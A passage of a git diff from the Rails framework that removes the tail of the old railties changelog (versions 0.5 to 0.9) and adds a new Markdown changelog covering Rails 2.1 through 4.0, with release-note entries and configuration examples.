- ActiveRecord::Base.reload_associations     = false
-
- Now in production.rb and test.rb:
- Dependencies.mechanism = :require
-
-* Fixed problems with dependency caching and controller hierarchies on Ruby 1.8.2 in development mode #351
-
-* Fixed that generated action_mailers doesnt need to require the action_mailer since thats already done in the environment #382 [Lucas Carlson]
-
-* Upgraded to Action Pack 1.2.0 and Active Record 1.4.0
-
-
-*0.9.2*
-
-* Fixed CTRL-C exists from the Breakpointer to be a clean affair without error dumping [Kent Sibilev]
-
-* Fixed "rake stats" to work with sub-directories in models and controllers and to report the code to test ration [Scott Baron]
-
-* Added that Active Record associations are now reloaded instead of cleared to work with the new const_missing hook in Active Record.
-
-* Added graceful handling of an inaccessible log file by redirecting output to STDERR with a warning #330 [rainmkr]
-
-* Added support for a -h/--help parameter in the generator #331 [Ulysses]
-
-* Fixed that File.expand_path in config/environment.rb would fail when dealing with symlinked public directories [mjobin]
-
-* Upgraded to Action Pack 1.1.0 and Active Record 1.3.0
-
-
-*0.9.1*
-
-* Upgraded to Action Pack 1.0.1 for important bug fix
-
-* Updated gem dependencies
-
-
-*0.9.0*
-
-* Renamed public/dispatch.servlet to script/server -- it wasn't really dispatching anyway as its delegating calls to public/dispatch.rb
-
-* Renamed AbstractApplicationController and abstract_application.rb to ApplicationController and application.rb, so that it will be possible
- for the framework to automatically pick up on app/views/layouts/application.rhtml and app/helpers/application.rb
-
-* Added script/console that makes it even easier to start an IRB session for interacting with the domain model. Run with no-args to
- see help.
-
-* Added breakpoint support through the script/breakpointer client. This means that you can break out of execution at any point in
- the code, investigate and change the model, AND then resume execution! Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.find_all
- breakpoint "Breaking out from the list"
- end
- end
-
- So the controller will accept the action, run the first line, then present you with a IRB prompt in the breakpointer window.
- Here you can do things like:
-
- Executing breakpoint "Breaking out from the list" at .../webrick_server.rb:16 in 'breakpoint'
-
- >> @posts.inspect
- => "[#<Post:0x14a6be8 @attributes={\"title\"=>nil, \"body\"=>nil, \"id\"=>\"1\"}>,
- #<Post:0x14a6620 @attributes={\"title\"=>\"Rails you know!\", \"body\"=>\"Only ten..\", \"id\"=>\"2\"}>]"
- >> @posts.first.title = "hello from a breakpoint"
- => "hello from a breakpoint"
-
- ...and even better is that you can examine how your runtime objects actually work:
-
- >> f = @posts.first
- => #<Post:0x13630c4 @attributes={"title"=>nil, "body"=>nil, "id"=>"1"}>
- >> f.
- Display all 152 possibilities? (y or n)
-
- Finally, when you're ready to resume execution, you press CTRL-D
-
-* Changed environments to be configurable through an environment variable. By default, the environment is "development", but you
- can change that and set your own by configuring the Apache vhost with a string like (mod_env must be available on the server):
-
- SetEnv RAILS_ENV production
-
- ...if you're using WEBrick, you can pick the environment to use with the command-line parameters -e/--environment, like this:
-
- ruby public/dispatcher.servlet -e production
-
-* Added a new default environment called "development", which leaves the production environment to be tuned exclusively for that.
-
-* Added a start_server in the root of the Rails application to make it even easier to get started
-
-* Fixed public/.htaccess to use RewriteBase and share the same rewrite rules for all the dispatch methods
-
-* Fixed webrick_server to handle requests in a serialized manner (the Rails reloading infrastructure is not thread-safe)
-
-* Added support for controllers in directories. So you can have:
-
- app/controllers/account_controller.rb # URL: /account/
- app/controllers/admin/account_controller.rb # URL: /admin/account/
-
- NOTE: You need to update your public/.htaccess with the new rules to pick it up
-
-* Added reloading for associations and dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use
- those environments for development. This is turned on by default, but can be turned off with
- ActiveRecord::Base.reload_associations = false and ActionController::Base.reload_dependencies = false in production environments.
-
-* Added support for sub-directories in app/models. So now you can have something like Basecamp with:
-
- app/models/accounting
- app/models/project
- app/models/participants
- app/models/settings
-
- It's poor man's namespacing, but only for file-system organization. You still require files just like before.
- Nothing changes inside the files themselves.
-
-
-* Fixed a few references in the tests generated by new_mailer [Jeremy Kemper]
-
-* Added support for mocks in testing with test/mocks
-
-* Cleaned up the environments a bit and added global constant RAILS_ROOT
-
-
-*0.8.5* (9)
-
-* Made dev-util available to all tests, so you can insert breakpoints in any test case to get an IRB prompt at that point [Jeremy Kemper]:
-
- def test_complex_stuff
- @david.projects << @new_project
- breakpoint "Let's have a closer look at @david"
- end
-
- You need to install dev-utils yourself for this to work ("gem install dev-util").
-
-* Added shared generator behavior so future upgrades should be possible without manually copying over files [Jeremy Kemper]
-
-* Added the new helper style to both controller and helper templates [Jeremy Kemper]
-
-* Added new_crud generator for creating a model and controller at the same time with explicit scaffolding [Jeremy Kemper]
-
-* Added configuration of Test::Unit::TestCase.fixture_path to test_helper to concide with the new AR fixtures style
-
-* Fixed that new_model was generating singular table/fixture names
-
-* Upgraded to Action Mailer 0.4.0
-
-* Upgraded to Action Pack 0.9.5
-
-* Upgraded to Active Record 1.1.0
-
-
-*0.8.0 (15)*
-
-* Removed custom_table_name option for new_model now that the Inflector is as powerful as it is
-
-* Changed the default rake action to just do testing and separate API generation and coding statistics into a "doc" task.
-
-* Fixed WEBrick dispatcher to handle missing slashes in the URLs gracefully [alexey]
-
-* Added user option for all postgresql tool calls in the rakefile [elvstone]
-
-* Fixed problem with running "ruby public/dispatch.servlet" instead of "cd public; ruby dispatch.servlet" [alexey]
-
-* Fixed WEBrick server so that it no longer hardcodes the ruby interpreter used to "ruby" but will get the one used based
- on the Ruby runtime configuration. [Marcel Molina Jr.]
-
-* Fixed Dispatcher so it'll route requests to magic_beans to MagicBeansController/magic_beans_controller.rb [Caio Chassot]
-
-* "new_controller MagicBeans" and "new_model SubscriptionPayments" will now both behave properly as they use the new Inflector.
-
-* Fixed problem with MySQL foreign key constraint checks in Rake :clone_production_structure_to_test target [Andreas Schwarz]
-
-* Changed WEBrick server to by default be auto-reloading, which is slower but makes source changes instant.
- Class compilation cache can be turned on with "-c" or "--cache-classes".
-
-* Added "-b/--binding" option to WEBrick dispatcher to bind the server to a specific IP address (default: 127.0.0.1) [Kevin Temp]
-
-* dispatch.fcgi now DOESN'T set FCGI_PURE_RUBY as it was slowing things down for now reason [Andreas Schwarz]
-
-* Added new_mailer generator to work with Action Mailer
-
-* Included new framework: Action Mailer 0.3
-
-* Upgraded to Action Pack 0.9.0
-
-* Upgraded to Active Record 1.0.0
-
-
-*0.7.0*
-
-* Added an optional second argument to the new_model script that allows the programmer to specify the table name,
- which will used to generate a custom table_name method in the model and will also be used in the creation of fixtures.
- [Kevin Radloff]
-
-* script/new_model now turns AccountHolder into account_holder instead of accountholder [Kevin Radloff]
-
-* Fixed the faulty handleing of static files with WEBrick [Andreas Schwarz]
-
-* Unified function_test_helper and unit_test_helper into test_helper
-
-* Fixed bug with the automated production => test database dropping on PostgreSQL [dhawkins]
-
-* create_fixtures in both the functional and unit test helper now turns off the log during fixture generation
- and can generate more than one fixture at a time. Which makes it possible for assignments like:
-
- @people, @projects, @project_access, @companies, @accounts =
- create_fixtures "people", "projects", "project_access", "companies", "accounts"
-
-* Upgraded to Action Pack 0.8.5 (locally-scoped variables, partials, advanced send_file)
-
-* Upgraded to Active Record 0.9.5 (better table_name guessing, cloning, find_all_in_collection)
-
-
-*0.6.5*
-
-* No longer specifies a template for rdoc, so it'll use whatever is default (you can change it in the rakefile)
-
-* The new_model generator will now use the same rules for plural wordings as Active Record
- (so Category will give categories, not categorys) [Kevin Radloff]
-
-* dispatch.fcgi now sets FCGI_PURE_RUBY to true to ensure that it's the Ruby version that's loaded [danp]
-
-* Made the GEM work with Windows
-
-* Fixed bug where mod_ruby would "forget" the load paths added when switching between controllers
-
-* PostgreSQL are now supported for the automated production => test database dropping [Kevin Radloff]
-
-* Errors thrown by the dispatcher are now properly handled in FCGI.
-
-* Upgraded to Action Pack 0.8.0 (lots and lots and lots of fixes)
-
-* Upgraded to Active Record 0.9.4 (a bunch of fixes)
-
-
-*0.6.0*
-
-* Added AbstractionApplicationController as a superclass for all controllers generated. This class can be used
- to carry filters and methods that are to be shared by all. It has an accompanying ApplicationHelper that all
- controllers will also automatically have available.
-
-* Added environments that can be included from any script to get the full Active Record and Action Controller
- context running. This can be used by maintenance scripts or to interact with the model through IRB. Example:
-
- require 'config/environments/production'
-
- for account in Account.find_all
- account.recalculate_interests
- end
-
- A short migration script for an account model that had it's interest calculation strategy changed.
-
-* Accessing the index of a controller with "/weblog" will now redirect to "/weblog/" (only on Apache, not WEBrick)
-
-* Simplified the default Apache config so even remote requests are served off CGI as a default.
- You'll now have to do something specific to activate mod_ruby and FCGI (like using the force urls).
- This should make it easier for new comers that start on an external server.
-
-* Added more of the necessary Apache options to .htaccess to make it easier to setup
-
-* Upgraded to Action Pack 0.7.9 (lots of fixes)
-
-* Upgraded to Active Record 0.9.3 (lots of fixes)
-
-
-*0.5.7*
-
-* Fixed bug in the WEBrick dispatcher that prevented it from getting parameters from the URL
- (through GET requests or otherwise)
-
-* Added lib in root as a place to store app specific libraries
-
-* Added lib and vendor to load_path, so anything store within can be loaded directly.
- Hence lib/redcloth.rb can be loaded with require "redcloth"
-
-* Upgraded to Action Pack 0.7.8 (lots of fixes)
-
-* Upgraded to Active Record 0.9.2 (minor upgrade)
-
-
-*0.5.6*
-
-* Upgraded to Action Pack 0.7.7 (multipart form fix)
-
-* Updated the generated template stubs to valid XHTML files
-
-* Ensure that controllers generated are capitalized, so "new_controller TodoLists"
- gives the same as "new_controller Todolists" and "new_controller todolists".
-
-
-*0.5.5*
-
-* Works on Windows out of the box! (Dropped symlinks)
-
-* Added webrick dispatcher: Try "ruby public/dispatch.servlet --help" [Florian Gross]
-
-* Report errors about initialization to browser (instead of attempting to use uninitialized logger)
-
-* Upgraded to Action Pack 0.7.6
-
-* Upgraded to Active Record 0.9.1
-
-* Added distinct 500.html instead of reusing 404.html
-
-* Added MIT license
-
-
-*0.5.0*
-
-* First public release
diff --git a/railties/CHANGELOG.md b/railties/CHANGELOG.md
new file mode 100644
index 0000000000..ccccc178c5
--- /dev/null
+++ b/railties/CHANGELOG.md
@@ -0,0 +1,2514 @@
+## Rails 4.0.0 (unreleased) ##
+
+* Improved `rake routes` output for redirects *Łukasz Strzałkowski & Andrew White*
+
+* Load all environments available in `config.paths["config/environments"]`. *Piotr Sarnacki*
+
+* The application generator generates `public/humans.txt` with some basic data. *Paul Campbell*
+
+* Add `config.queue_consumer` to allow the default consumer to be configurable. *Carlos Antonio da Silva*
+
+* Add Rails.queue as an interface with a default implementation that consumes jobs in a separate thread. *Yehuda Katz*
+
+* Remove Rack::SSL in favour of ActionDispatch::SSL. *Rafael Mendonça França*
+
+* Remove Active Resource from Rails framework. *Prem Sichangrist*
+
+* Allow to set class that will be used to run as a console, other than IRB, with `Rails.application.config.console=`. It's best to add it to `console` block. *Piotr Sarnacki*
+
+ Example:
+
+ # it can be added to config/application.rb
+ console do
+ # this block is called only when running console,
+ # so we can safely require pry here
+ require "pry"
+ config.console = Pry
+ end
+
+* Add convenience `hide!` method to Rails generators to hide current generator
+ namespace from showing when running `rails generate`. *Carlos Antonio da Silva*
+
+* Scaffold now uses `content_tag_for` in index.html.erb *José Valim*
+
+* Rails::Plugin has gone. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies. *Santiago Pastorino*
+
+
+## Rails 3.2.2 (March 1, 2012) ##
+
+* No changes.
+
+
+## Rails 3.2.1 (January 26, 2012) ##
+
+* Documentation fixes.
+
+* Migration generation understands decimal{1.2} and decimal{1-2}, in
+ addition to decimal{1,2}. *José Valim*
+
+
+## Rails 3.2.0 (January 20, 2012) ##
+
+* Turn gem has been removed from default Gemfile. We still looking for a best presentation for tests output. *Guillermo Iguaran*
+
+* Rails::Plugin is deprecated and will be removed in Rails 4.0. Instead of adding plugins to vendor/plugins use gems or bundler with path or git dependencies. *Santiago Pastorino*
+
+* Guides are available as a single .mobi for the Kindle and free Kindle readers apps. *Michael Pearson & Xavier Noria*
+
+* Allow scaffold/model/migration generators to accept a "index" and "uniq" modifiers, as in: "tracking_id:integer:uniq" in order to generate (unique) indexes. Some types also accept custom options, for instance, you can specify the precision and scale for decimals as "price:decimal{7,2}". *Dmitrii Samoilov*
+
+* Added `config.exceptions_app` to set the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`. *José Valim*
+
+* Speed up development by only reloading classes if dependencies files changed. This can be turned off by setting `config.reload_classes_only_on_change` to false. *José Valim*
+
+* New applications get a flag `config.active_record.auto_explain_threshold_in_seconds` in the environments configuration files. With a value of 0.5 in development.rb, and commented out in production.rb. No mention in test.rb. *fxn*
+
+* Add DebugExceptions middleware which contains features extracted from ShowExceptions middleware *José Valim*
+
+* Display mounted engine's routes in `rake routes` *Piotr Sarnacki*
+
+* Allow to change the loading order of railties with `config.railties_order=` *Piotr Sarnacki*
+
+ Example:
+ config.railties_order = [Blog::Engine, :main_app, :all]
+
+* Scaffold returns 204 No Content for API requests without content. This makes scaffold work with jQuery out of the box *José Valim*
+
+* Update Rails::Rack::Logger middleware to apply any tags set in config.log_tags to the newly ActiveSupport::TaggedLogging Rails.logger. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications *DHH*
+
+* Default options to `rails new` can be set in ~/.railsrc. You can specify extra command-line arguments to be used every time
+ 'rails new' runs in the .railsrc configuration file in your home directory. *Guillermo Iguaran*
+
+* Add destroy alias to Rails engines *Guillermo Iguaran*
+
+* Add destroy alias for Rails command line. This allows the following: `rails d model post` *Andrey Ognevsky*
+
+* Attributes on scaffold and model generators default to string. This allows the following: "rails g scaffold Post title body:text author" *José Valim*
+
+* Remove old plugin generator (`rails generate plugin`) in favor of `rails plugin new` command *Guillermo Iguaran*
+
+* Remove old 'config.paths.app.controller' API in favor of 'config.paths["app/controller"]' API *Guillermo Iguaran*
+
+
+## Rails 3.1.4 (March 1, 2012) ##
+
+* Setting config.force_ssl also marks the session cookie as secure.
+
+ *José Valim*
+
+* Add therubyrhino to Gemfile in new applications when running under JRuby.
+
+ *Guillermo Iguaran*
+
+
+## Rails 3.1.3 (November 20, 2011) ##
+
+* New apps should be generated with a sass-rails dependency of 3.1.5, not 3.1.5.rc.2
+
+
+## Rails 3.1.2 (November 18, 2011) ##
+
+* Engines: don't blow up if db/seeds.rb is missing.
+
+ *Jeremy Kemper*
+
+* `rails new foo --skip-test-unit` should not add the `:test` task to the rake default task.
+ *GH 2564*
+
+ *José Valim*
+
+## Rails 3.1.1 (October 07, 2011) ##
+
+* Add jquery-rails to Gemfile of plugins, test/dummy app needs it. Closes #3091. *Santiago Pastorino*
+
+* Add config.assets.initialize_on_precompile which, when set to false, forces
+ `rake assets:precompile` to load the application but does not initialize it.
+
+ To the app developer, this means configuration add in
+ config/initializers/* will not be executed.
+
+ Plugins developers need to special case their initializers that are
+ meant to be run in the assets group by adding :group => :assets.
+
+## Rails 3.1.0 (August 30, 2011) ##
+
+* The default database schema file is written as UTF-8. *Aaron Patterson*
+
+* Generated apps with --dev or --edge flags depend on git versions of
+ sass-rails and coffee-rails. *Santiago Pastorino*
+
+* Rack::Sendfile middleware is used only if x_sendfile_header is present. *Santiago Pastorino*
+
+* Add JavaScript Runtime name to the Rails Info properties. *DHH*
+
+* Make pp enabled by default in Rails console. *Akira Matsuda*
+
+* Add alias `r` for rails runner. *Jordi Romero*
+
+* Make sprockets/railtie require explicit and add --skip-sprockets to app generator *José Valim*
+
+* Added Rails.groups that automatically handles Rails.env and ENV["RAILS_GROUPS"] *José Valim*
+
+* The new rake task assets:clean removes precompiled assets. *fxn*
+
+* Application and plugin generation run bundle install unless --skip-gemfile or --skip-bundle. *fxn*
+
+* Fixed database tasks for jdbc* adapters #jruby *Rashmi Yadav*
+
+* Template generation for jdbcpostgresql #jruby *Vishnu Atrai*
+
+* Template generation for jdbcmysql and jdbcsqlite3 #jruby *Arun Agrawal*
+
+* The -j option of the application generator accepts an arbitrary string. If passed "foo",
+ the gem "foo-rails" is added to the Gemfile, and the application JavaScript manifest
+ requires "foo" and "foo_ujs". As of this writing "prototype-rails" and "jquery-rails"
+ exist and provide those files via the asset pipeline. Default is "jquery". *fxn*
+
+* jQuery is no longer vendored, it is provided from now on by the jquery-rails gem. *fxn*
+
+* Prototype and Scriptaculous are no longer vendored, they are provided from now on
+ by the prototype-rails gem. *fxn*
+
+* The scaffold controller will now produce SCSS file if Sass is available *Prem Sichanugrist*
+
+* The controller and resource generators will now automatically produce asset stubs (this can be turned off with --skip-assets). These stubs will use Coffee and Sass, if those libraries are available. *DHH*
+
+* jQuery is the new default JavaScript library. *fxn*
+
+* Changed scaffold, application, and mailer generator to create Ruby 1.9 style hash when running on Ruby 1.9 *Prem Sichanugrist*
+
+ So instead of creating something like:
+
+ redirect_to users_path, :notice => "User has been created"
+
+ it will now be like this:
+
+ redirect_to users_path, notice: "User has been created"
+
+ You can also passing `--old-style-hash` to make Rails generate old style hash even you're on Ruby 1.9
+
+* Changed scaffold_controller generator to create format block for JSON instead of XML *Prem Sichanugrist*
+
+* Add using Turn with natural language test case names for test_help.rb when running with minitest (Ruby 1.9.2+) *DHH*
+
+* Direct logging of Active Record to STDOUT so it's shown inline with the results in the console *DHH*
+
+* Added `config.force_ssl` configuration which loads Rack::SSL middleware and force all requests to be under HTTPS protocol *DHH, Prem Sichanugrist, and Josh Peek*
+
+* Added `rails plugin new` command which generates rails plugin with gemspec, tests and dummy application for testing *Piotr Sarnacki*
+
+* Added -j parameter with jquery/prototype as options. Now you can create your apps with jQuery using `rails new myapp -j jquery`. The default is still Prototype. *siong1987*
+
+* Added Rack::Etag and Rack::ConditionalGet to the default middleware stack *José Valim*
+
+* Added Rack::Cache to the default middleware stack *Yehuda Katz and Carl Lerche*
+
+* Engine is now rack application *Piotr Sarnacki*
+
+* Added middleware stack to Engine *Piotr Sarnacki*
+
+* Engine can now load plugins *Piotr Sarnacki*
+
+* Engine can load its own environment file *Piotr Sarnacki*
+
+* Added helpers to call engines' route helpers from application and vice versa *Piotr Sarnacki*
+
+* Task for copying plugins' and engines' migrations to application's db/migrate directory *Piotr Sarnacki*
+
+* Changed ActionDispatch::Static to allow handling multiple directories *Piotr Sarnacki*
+
+* Added isolate_namespace() method to Engine, which sets Engine as isolated *Piotr Sarnacki*
+
+* Include all helpers from plugins and shared engines in application *Piotr Sarnacki*
+
+
+## Rails 3.0.12 (March 1, 2012) ##
+
+* No changes.
+
+
+## Rails 3.0.11 (November 18, 2011) ##
+
+* Updated Prototype UJS to lastest version fixing multiples errors in IE [Guillermo Iguaran]
+
+
+## Rails 3.0.10 (August 16, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.9 (June 16, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.8 (June 7, 2011) ##
+
+* Fix Rake 0.9.0 support.
+
+
+## Rails 3.0.7 (April 18, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.6 (April 5, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.5 (February 26, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.4 (February 8, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.3 (November 16, 2010) ##
+
+* No changes.
+
+
+## Rails 3.0.2 (November 15, 2010) ##
+
+* No changes.
+
+
+## Rails 3.0.1 (October 15, 2010) ##
+
+* No Changes, just a version bump.
+
+
+## Rails 3.0.0 (August 29, 2010) ##
+
+* Application generation: --skip-testunit and --skip-activerecord become --skip-test-unit and --skip-active-record respectively. *fxn*
+
+* Added console to Rails::Railtie as a hook called just after console starts. *José Valim*
+
+* Rails no longer autoload code in lib for application. You need to explicitly require it. *José Valim*
+
+* Rails::LogSubscriber was renamed to ActiveSupport::LogSubscriber *José Valim*
+
+* config.load_(once_)paths in config/application.rb got renamed to config.autoload_(once_)paths. *fxn*
+
+* Abort generation/booting on Ruby 1.9.1. *fxn*
+
+* Made the rails command work even when you're in a subdirectory *Chad Fowler*
+
+* Removed Rails Metal [Yehuda Katz, José Valim].
+
+* Renamed config.cookie_secret to config.secret_token and pass it as env key. *José Valim*
+
+* Session store configuration has changed *Yehuda Katz, Carl Lerche*
+
+ config.session_store :cookie_store, {:key => "..."}
+ config.cookie_secret = "fdsfhisdghfidugnfdlg"
+
+* railtie_name and engine_name are deprecated. You can now add any object to
+ the configuration object: config.your_plugin = {} *José Valim*
+
+* Added config.generators.templates to provide alternative paths for the generators
+ to look for templates *José Valim*
+
+* Added "rake about" as a replacement for script/about *DHH*
+
+* Removed all the default commands in script/* and replaced them with script/rails and a rails command that'll act the same when run from within the app [DHH]. Example:
+
+ ./script/generate scaffold post title:string can now be called as rails g scaffold post title:string
+
+ Run rails --help inside an app for more help.
+
+* Removed config/initializers/new_rails_defaults.rb as all frameworks now follow the settings from it *DHH*
+
+* Set config.time_zone to UTC by default *DHH*
+
+* Added default .gitignore (this is just recognizing Git market share, don't throw a hissy if you use another SCM) *DHH*
+
+* Added cookies.permanent, cookies.signed, and cookies.permanent.signed accessor for common cookie actions [DHH]. Examples:
+
+ cookies.permanent[:prefers_open_id] = true
+ # => Set-Cookie: prefers_open_id=true; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+
+ cookies.signed[:discount] = 45
+ # => Set-Cookie: discount=BAhpMg==--2c1c6906c90a3bc4fd54a51ffb41dffa4bf6b5f7; path=/
+
+ cookies.signed[:discount]
+ # => 45 (if the cookie was changed, you'll get a InvalidSignature exception)
+
+ cookies.permanent.signed[:remember_me] = current_user.id
+ # => Set-Cookie: discount=BAhU--848956038e692d7046deab32b7131856ab20e14e; path=/; expires=Sun, 16-Dec-2029 03:24:16 GMT
+
+ ...to use the signed cookies, you need to set a secret to ActionController::Base.cookie_verifier_secret (automatically done in config/initializers/cookie_verification_secret.rb for new Rails applications).
+
+* Added config/initializers/cookie_verification_secret.rb with an auto-generated secret for using ActionController::Base#cookies.signed *DHH*
+
+* Fixed that the debugger wouldn't go into IRB mode because of left-over ARGVs *DHH*
+
+* I18n support for plugins. #2325 *Antonio Tapiador, Sven Fuchs*
+
+* Ruby 1.9: use UTF-8 for default internal and external encodings. *Jeremy Kemper*
+
+* Added db/seeds.rb as a default file for storing seed data for the database. Can be loaded with rake db:seed (or created alongside the db with db:setup). (This is also known as the "Stop Putting Gawd Damn Seed Data In Your Migrations" feature) *DHH*
+
+
+## 2.3.2 Final (March 15, 2009) ##
+
+* Remove outdated script/plugin options *Pratik Naik*
+
+* Allow metal to live in plugins #2045 *Matthew Rudy*
+
+* Added metal *Josh Peek*
+
+* Remove script/performance/request in favour of the performance integration tests. *Pratik Naik*
+
+ To continue using script/performance/request, install the request_profiler plugin :
+
+ script/plugin install git://github.com/rails/request_profiler.git
+
+* Add a rake task to apply a template to an existing application : rake rails:template LOCATION=~/template.rb *Pratik Naik*
+
+* Add "-m/--template" option to Rails generator to apply a template to the generated application. *Jeremy McAnally*
+
+ This has been extracted from rg - http://github.com/jeremymcanally/rg
+
+ Example:
+
+ # template.rb
+
+ # Install plugins from git or svn
+ plugin "will-paginate", :git => "git://github.com/mislav/will_paginate.git"
+ plugin "old-restful-auth", :svn => "http://svn.techno-weenie.net/projects/plugins/restful_authentication/"
+
+ # Add gems to environment.rb
+ gem "jeremymcanally-context"
+ gem "bluecloth"
+
+ # Vendor file. Data in a string or...
+ vendor("borrowed.rb", <<CODE
+ def helpful_method
+ do_something_helpful_here
+ end
+ CODE
+
+ # ...file data from block return value.
+ # #initializer creates a new initializer file
+ initializer("crypto.rb") do
+ salt = "--#{Time.now}--#{rand}--#{srand(Time.now.to_i)}"
+
+ "SPECIAL_SALT = '#{salt}'"
+ end
+
+ Usage:
+
+ To use a template, provide a file path or URL:
+
+ 1. Using a local file :
+
+ rails <application name> -m /path/to/my/template.rb
+
+ 2. Or directly from a URL :
+
+ rails <application name> --template=http://gist.github.com/31208.txt
+
+* Extracted the process scripts (inspector, reaper, spawner) into the plugin irs_process_scripts *David Heinemeier Hansson*
+
+* Changed Rails.root to return a Pathname object (allows for Rails.root.join('app', 'controllers') => "#{RAILS_ROOT}/app/controllers") #1482 *Damian Janowski/?*
+
+* Added view path support for engines *David Heinemeier Hansson*
+
+* Added that config/routes.rb files in engine plugins are automatically loaded (and reloaded when they change in dev mode) *David Heinemeier Hansson*
+
+* Added app/[models|controllers|helpers] to the load path for plugins that has an app directory (go engines ;)) *David Heinemeier Hansson*
+
+* Add config.preload_frameworks to load all frameworks at startup. Default to false so Rails autoloads itself as it's used. Turn this on for Passenger and JRuby. Also turned on by config.threadsafe! *Jeremy Kemper*
+
+* Add a rake task to generate dispatchers : rake rails:generate_dispatchers *Pratik Naik*
+
+* "rails <app>" will not generate public/dispatch.cgi/fcgi/rb files by default now. Please use "--with-dispatchers" option if you need them. *Yaroslav Markin, Pratik Naik*
+
+* Added rake rails:update:application_controller to renamed application.rb to application_controller.rb -- included in rake rails:update so upgrading to 2.3 will automatically trigger it #1439 *kastner*
+
+* Added Rails.backtrace_cleaner as an accessor for the Rails::BacktraceCleaner instance used by the framework to cut down on backtrace noise and config/initializers/backtrace_silencers.rb to add your own (or turn them all off) *David Heinemeier Hansson*
+
+* Switch from Test::Unit::TestCase to ActiveSupport::TestCase. *Jeremy Kemper*
+
+* Added config.i18n settings gatherer to config/environment, auto-loading of all locales in config/locales/*.rb,yml, and config/locales/en.yml as a sample locale *David Heinemeier Hansson*
+
+* BACKWARDS INCOMPATIBLE: Renamed application.rb to application_controller.rb and removed all the special casing that was in place to support the former. You must do this rename in your own application when you upgrade to this version *David Heinemeier Hansson*
+
+
+## 2.2.1 RC2 (November 14th, 2008) ##
+
+* Fixed plugin generator so that generated unit tests would subclass ActiveSupport::TestCase, also introduced a helper script to reduce the needed require statements #1137 *Mathias Meyer*
+
+* Update Prototype to 1.6.0.3 *sam*
+
+
+## 2.2.0 RC1 (October 24th, 2008) ##
+
+* Fixed that sqlite would report "db/development.sqlite3 already exists" whether true or not on db:create #614 *Antonio Cangiano*
+
+* Added config.threadsafe! to toggle allow concurrency settings and disable the dependency loader *Josh Peek*
+
+* Turn cache_classes on by default *Josh Peek*
+
+* Added configurable eager load paths. Defaults to app/models, app/controllers, and app/helpers *Josh Peek*
+
+* Introduce simple internationalization support. *Ruby i18n team*
+
+* Make script/plugin install <plugin> -r <revision> option work with git based plugins. #257. [Tim Pope Jakub Kuźma]. Example:
+
+ script/plugin install git://github.com/mislav/will_paginate.git -r agnostic # Installs 'agnostic' branch
+ script/plugin install git://github.com/dchelimsky/rspec.git -r 'tag 1.1.4'
+
+* Added Rails.initialized? flag *Josh Peek*
+
+* Make rake test:uncommitted work with Git. *Tim Pope*
+
+* Added Thin support to script/server. #488 *Bob Klosinski*
+
+* Fix script/about in production mode. #370 *Cheah Chu Yeow, Xavier Noria, David Krmpotic*
+
+* Add the gem load paths before the framework is loaded, so certain gems like RedCloth and BlueCloth can be frozen.
+
+* Fix discrepancies with loading rails/init.rb from gems.
+
+* Plugins check for the gem init path (rails/init.rb) before the standard plugin init path (init.rb) *Jacek Becela*
+
+* Changed all generated tests to use the test/do declaration style *David Heinemeier Hansson*
+
+* Wrapped Rails.env in StringInquirer so you can do Rails.env.development? *David Heinemeier Hansson*
+
+* Fixed that RailsInfoController wasn't considering all requests local in development mode (Edgard Castro) *#310 state:resolved*
+
+
+## 2.1.0 (May 31st, 2008) ##
+
+* script/dbconsole fires up the command-line database client. #102 *Steve Purcell*
+
+* Fix bug where plugin init.rb files from frozen gem specs weren't being run. (pjb3) *#122 state:resolved*
+
+* Made the location of the routes file configurable with config.routes_configuration_file (Scott Fleckenstein) *#88*
+
+* Rails Edge info returns the latest git commit hash *Francesc Esplugas*
+
+* Added Rails.public_path to control where HTML and assets are expected to be loaded from (defaults to Rails.root + "/public") #11581 *Nick Sieger*
+
+* rake time:zones:local finds correct base utc offset for zones in the Southern Hemisphere *Geoff Buesing*
+
+* Don't require rails/gem_builder during rails initialization, it's only needed for the gems:build task. *Rick Olson*
+
+* script/performance/profiler compatibility with the ruby-prof >= 0.5.0. Closes #9176. *Jonathan del Strother*
+
+* Flesh out rake gems:unpack to unpack all gems, and add rake gems:build for native extensions. #11513 *ddollar*
+
+ rake gems:unpack # unpacks all gems
+ rake gems:unpack GEM=mygem # unpacks only the gem 'mygem'
+
+ rake gems:build # builds all unpacked gems
+ rake gems:build GEM=mygem # builds only the gem 'mygem'
+
+* Add config.active_support for future configuration options. Also, add more new Rails 3 config settings to new_rails_defaults.rb *Rick Olson*
+
+* Add Rails.logger, Rails.root, Rails.env and Rails.cache shortcuts for RAILS_* constants *Pratik Naik*
+
+* Allow files in plugins to be reloaded like the rest of the application. *Rick Olson*
+
+ Enables or disables plugin reloading.
+
+ config.reload_plugins = true
+
+ You can get around this setting per plugin.
+ If #reload_plugins? == false (DEFAULT), add this to your plugin's init.rb to make it reloadable:
+
+ Dependencies.load_once_paths.delete lib_path
+
+ If #reload_plugins? == true, add this to your plugin's init.rb to only load it once:
+
+ Dependencies.load_once_paths << lib_path
+
+* Small tweak to allow plugins to specify gem dependencies. *Rick Olson*
+
+ \# OLD open_id_authentication plugin init.rb
+ require 'yadis'
+ require 'openid'
+ ActionController::Base.send :include, OpenIdAuthentication
+
+ \# NEW
+ config.gem "ruby-openid", :lib => "openid", :version => "1.1.4"
+ config.gem "ruby-yadis", :lib => "yadis", :version => "0.3.4"
+
+ config.after_initialize do
+ ActionController::Base.send :include, OpenIdAuthentication
+ end
+
+* Added config.gem for specifying which gems are required by the application, as well as rake tasks for installing and freezing gems. *Rick Olson*
+
+ Rails::Initializer.run do |config|
+ config.gem "bj"
+ config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net"
+ config.gem "aws-s3", :lib => "aws/s3"
+ end
+
+ \# List required gems.
+ rake gems
+
+ \# Install all required gems:
+ rake gems:install
+
+ \# Unpack specified gem to vendor/gems/gem_name-x.x.x
+ rake gems:unpack GEM=bj
